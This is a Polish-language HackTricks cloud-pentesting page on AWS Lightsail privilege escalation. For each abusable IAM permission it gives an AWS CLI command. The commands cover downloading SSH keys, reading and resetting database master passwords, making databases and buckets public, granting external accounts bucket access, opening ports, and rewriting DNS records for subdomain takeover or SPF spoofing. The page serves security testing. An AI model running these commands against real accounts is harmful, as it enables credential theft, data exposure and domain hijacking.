AWS - Lightsail Privesc

Wsparcie HackTricks

Lightsail

Aby uzyskać więcej informacji o Lightsail, sprawdź:

AWS - Lightsail Enum

Ważne jest, aby zauważyć, że Lightsail nie używa ról IAM należących do użytkownika, ale do zarządzanego konta AWS, więc nie możesz nadużywać tej usługi do privesc. Jednak wrażliwe dane, takie jak kod, klucze API i informacje o bazach danych, mogą być znalezione w tej usłudze.

lightsail:DownloadDefaultKeyPair

To uprawnienie pozwoli ci uzyskać klucze SSH do uzyskania dostępu do instancji:

aws lightsail download-default-key-pair

Potencjalny wpływ: Znalezienie wrażliwych informacji wewnątrz instancji.

lightsail:GetInstanceAccessDetails

To uprawnienie pozwoli Ci wygenerować klucze SSH do uzyskania dostępu do instancji:

aws lightsail get-instance-access-details --instance-name <instance_name>

Potencjalny wpływ: Znalezienie wrażliwych informacji wewnątrz instancji.

lightsail:CreateBucketAccessKey

To uprawnienie pozwoli Ci uzyskać klucz do dostępu do koszyka:

aws lightsail create-bucket-access-key --bucket-name <name>

Potencjalny wpływ: Znalezienie wrażliwych informacji w wiadrze.

lightsail:GetRelationalDatabaseMasterUserPassword

To uprawnienie pozwoli Ci uzyskać dane logowania do bazy danych:

aws lightsail get-relational-database-master-user-password --relational-database-name <name>

Potencjalny wpływ: Znalezienie wrażliwych informacji w bazie danych.

lightsail:UpdateRelationalDatabase

To uprawnienie pozwoli Ci zmienić hasło do dostępu do bazy danych:

aws lightsail update-relational-database --relational-database-name <name> --master-user-password <strong_new_password>

Jeśli baza danych nie jest publiczna, możesz również uczynić ją publiczną z tymi uprawnieniami za pomocą

aws lightsail update-relational-database --relational-database-name <name> --publicly-accessible

Potencjalny wpływ: Znalezienie wrażliwych informacji w bazie danych.

lightsail:OpenInstancePublicPorts

To uprawnienie pozwala na otwieranie portów do Internetu.

aws lightsail open-instance-public-ports \
--instance-name MEAN-2 \
--port-info fromPort=22,protocol=TCP,toPort=22

Potencjalny wpływ: Uzyskanie dostępu do wrażliwych portów.

lightsail:PutInstancePublicPorts

To uprawnienie pozwala na otwieranie portów do Internetu. Należy zauważyć, że wywołanie to zamknie każdy port otwarty, który nie jest na liście.

aws lightsail put-instance-public-ports \
--instance-name MEAN-2 \
--port-infos fromPort=22,protocol=TCP,toPort=22

Potencjalny wpływ: Uzyskanie dostępu do wrażliwych portów.

lightsail:SetResourceAccessForBucket

Te uprawnienia pozwalają na przyznanie instancjom dostępu do koszyka bez dodatkowych poświadczeń.

aws set-resource-access-for-bucket \
--resource-name <instance-name> \
--bucket-name <bucket-name> \
--access allow

Potencjalny wpływ: Potencjalny nowy dostęp do koszyków z wrażliwymi informacjami.

lightsail:UpdateBucket

Dzięki temu uprawnieniu atakujący mógłby przyznać własnemu kontu AWS dostęp do odczytu koszyków lub nawet uczynić koszyki publicznymi dla wszystkich:

# Grant read access to exterenal account
aws update-bucket --bucket-name <value> --readonly-access-accounts <external_account>

# Grant read to the public
aws update-bucket --bucket-name <value> --access-rules getObject=public,allowPublicOverrides=true

# Bucket private but single objects can be public
aws update-bucket --bucket-name <value> --access-rules getObject=private,allowPublicOverrides=true

Potencjalny wpływ: Potencjalny nowy dostęp do kubełków z wrażliwymi informacjami.

lightsail:UpdateContainerService

Dzięki tym uprawnieniom atakujący mógłby przyznać dostęp do prywatnych ECR z usługi kontenerów.

aws update-container-service \
--service-name <name> \
--private-registry-access ecrImagePullerRole={isActive=boolean}

Potencjalny wpływ: Uzyskanie wrażliwych informacji z prywatnego ECR

lightsail:CreateDomainEntry

Napastnik z tym uprawnieniem mógłby utworzyć subdomenę i skierować ją na swój własny adres IP (przejęcie subdomeny), lub stworzyć rekord SPF, który pozwala mu na podszywanie się pod e-maile z tej domeny, lub nawet ustawić główną domenę na swój własny adres IP.

aws lightsail create-domain-entry \
--domain-name example.com \
--domain-entry name=dev.example.com,type=A,target=192.0.2.0

Potencjalny wpływ: Przejęcie domeny

lightsail:UpdateDomainEntry

Atakujący z tym uprawnieniem mógłby utworzyć subdomenę i skierować ją na swój własny adres IP (przejęcie subdomeny), lub stworzyć rekord SPF, który pozwala mu na podszywanie się pod e-maile z domeny, lub nawet ustawić główną domenę na swój własny adres IP.

aws lightsail update-domain-entry \
--domain-name example.com \
--domain-entry name=dev.example.com,type=A,target=192.0.2.0

Potencjalny wpływ: Przejęcie domeny

Wsparcie HackTricks

Last updated